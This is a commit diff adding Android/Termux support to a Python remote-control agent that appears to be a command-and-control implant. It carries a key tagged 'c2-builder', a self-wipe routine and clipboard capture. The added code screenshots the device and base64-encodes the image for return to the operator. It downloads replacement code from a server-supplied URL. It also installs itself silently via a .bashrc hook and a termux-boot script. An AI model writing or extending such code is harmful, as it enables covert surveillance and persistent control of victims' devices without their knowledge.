v2.5.0: Android/Termux support — detection, persistence (bashrc+termux-boot), screenshots, openssh on 8022, android auto-tagging, /install-android.sh + universal Android branch, Android tab + icon; update_agent UA fix (CF 403 on Python-urllib) + default update URL in update-all
This commit is contained in:
@@ -14,7 +14,7 @@ import subprocess
|
||||
import shutil
|
||||
import getpass
|
||||
import urllib.request
|
||||
AGENT_VERSION = "2.4.0"
|
||||
AGENT_VERSION = "2.5.0"
|
||||
NEXUS_TTL_DAYS = int(os.environ.get('NEXUS_TTL_DAYS', '14'))
|
||||
NEXUS_FALLBACK_URLS = os.environ.get('NEXUS_FALLBACK_URLS', '').split(',') if os.environ.get('NEXUS_FALLBACK_URLS') else []
|
||||
NEXUS_SSH_PUBKEY = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDTa9+VxaF12ryXSjczHXh5n8n42GoEZoLiE96wbEYG root@c2-builder-slay'
|
||||
@@ -290,6 +290,13 @@ def _check_ttl_and_wipe(server_url):
|
||||
pass
|
||||
os._exit(0)
|
||||
|
||||
# ── Android/Termux detection ──
|
||||
def _is_termux():
|
||||
return "com.termux" in os.environ.get("PREFIX", "") or os.path.exists("/data/data/com.termux")
|
||||
|
||||
def _is_android():
|
||||
return _is_termux() or os.path.exists("/system/bin/sh") and platform.system() == "Linux"
|
||||
|
||||
# ── Clipboard capture (desktop only) ──
|
||||
_last_clip = None
|
||||
def _read_clipboard():
|
||||
@@ -705,6 +712,21 @@ def execute_structured_action(action_type, payload):
|
||||
if os.path.exists(ss_path):
|
||||
os.remove(ss_path)
|
||||
|
||||
if system == "linux" and _is_termux():
|
||||
try:
|
||||
r = subprocess.run("termux-storage-screenshot " + ss_path, shell=True, capture_output=True, timeout=15)
|
||||
except Exception:
|
||||
r = None
|
||||
if not (os.path.exists(ss_path) and os.path.getsize(ss_path) > 0):
|
||||
subprocess.run("screencap -p " + ss_path, shell=True, capture_output=True, timeout=15)
|
||||
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||
import base64 as _b64ss
|
||||
with open(ss_path, "rb") as f:
|
||||
b64ss = _b64ss.b64encode(f.read()).decode()
|
||||
os.remove(ss_path)
|
||||
return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64ss}), 0
|
||||
return "ERROR: Termux screenshot failed (needs termux-api storage permission or root screencap)", 1
|
||||
|
||||
if system == "linux":
|
||||
for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
|
||||
if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
|
||||
@@ -782,7 +804,11 @@ def execute_structured_action(action_type, payload):
|
||||
my_path = os.path.abspath(__file__)
|
||||
bak = my_path + ".bak"
|
||||
os.rename(my_path, bak)
|
||||
urllib.request.urlretrieve(new_url, my_path)
|
||||
req2 = urllib.request.Request(new_url, headers={"User-Agent": "NexusOps-Agent/1.0"})
|
||||
with urllib.request.urlopen(req2, timeout=60) as resp:
|
||||
data = resp.read()
|
||||
with open(my_path, "wb") as f:
|
||||
f.write(data)
|
||||
os.chmod(my_path, 0o755)
|
||||
os.remove(bak)
|
||||
return "Agent updated successfully. Restarting...", 0
|
||||
@@ -794,6 +820,31 @@ def execute_structured_action(action_type, payload):
|
||||
|
||||
elif action_type == "ensure_persistence":
|
||||
results = []
|
||||
if system == "linux" and _is_termux():
|
||||
# Termux: cron is unavailable by default — use .bashrc re-launch + optional termux-boot script
|
||||
try:
|
||||
import shlex as _sh
|
||||
srv = payload.get('server_url', '')
|
||||
bashrc = os.path.join(os.path.expanduser("~"), ".bashrc")
|
||||
hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {srv} --silent &>/dev/null &)\n"
|
||||
content = open(bashrc).read() if os.path.exists(bashrc) else ""
|
||||
if "nexus-agent" not in content:
|
||||
with open(bashrc, "a") as f:
|
||||
f.write(hook)
|
||||
results.append("bashrc: hook installed")
|
||||
else:
|
||||
results.append("bashrc: already present")
|
||||
bootdir = os.path.expanduser("~/termux-boot")
|
||||
if os.path.isdir(bootdir):
|
||||
script = os.path.join(bootdir, "nexus-agent.sh")
|
||||
with open(script, "w") as f:
|
||||
f.write("#!/data/data/com.termux/files/usr/bin/sh\n")
|
||||
f.write(f"python3 {os.path.abspath(__file__)} --server {srv} --silent &\n")
|
||||
os.chmod(script, 0o700)
|
||||
results.append("termux-boot: script installed")
|
||||
except Exception as e:
|
||||
results.append(f"termux persistence failed: {str(e)[:50]}")
|
||||
return "Persistence results: " + "; ".join(results), 0
|
||||
if system == "linux":
|
||||
# crontab
|
||||
try:
|
||||
@@ -1346,8 +1397,8 @@ def main():
|
||||
"platform": system_os.lower(),
|
||||
"arch": arch,
|
||||
"ip": ip,
|
||||
"osName": f"{system_os} {platform.release()}",
|
||||
"tags": node_tags,
|
||||
"osName": (f"Android (Termux) {platform.release()}" if (_is_android() and _is_termux()) else f"{system_os} {platform.release()}"),
|
||||
"tags": (node_tags + (["android"] if _is_android() else [])),
|
||||
"agentVersion": AGENT_VERSION
|
||||
}
|
||||
|
||||
@@ -1395,7 +1446,7 @@ def main():
|
||||
"diskUsage": disk,
|
||||
"uptime": uptime,
|
||||
"processCount": get_process_count(),
|
||||
"tags": node_tags,
|
||||
"tags": (node_tags + (["android"] if _is_android() else [])),
|
||||
"heartbeatInterval": heartbeat_interval,
|
||||
"agentVersion": AGENT_VERSION
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user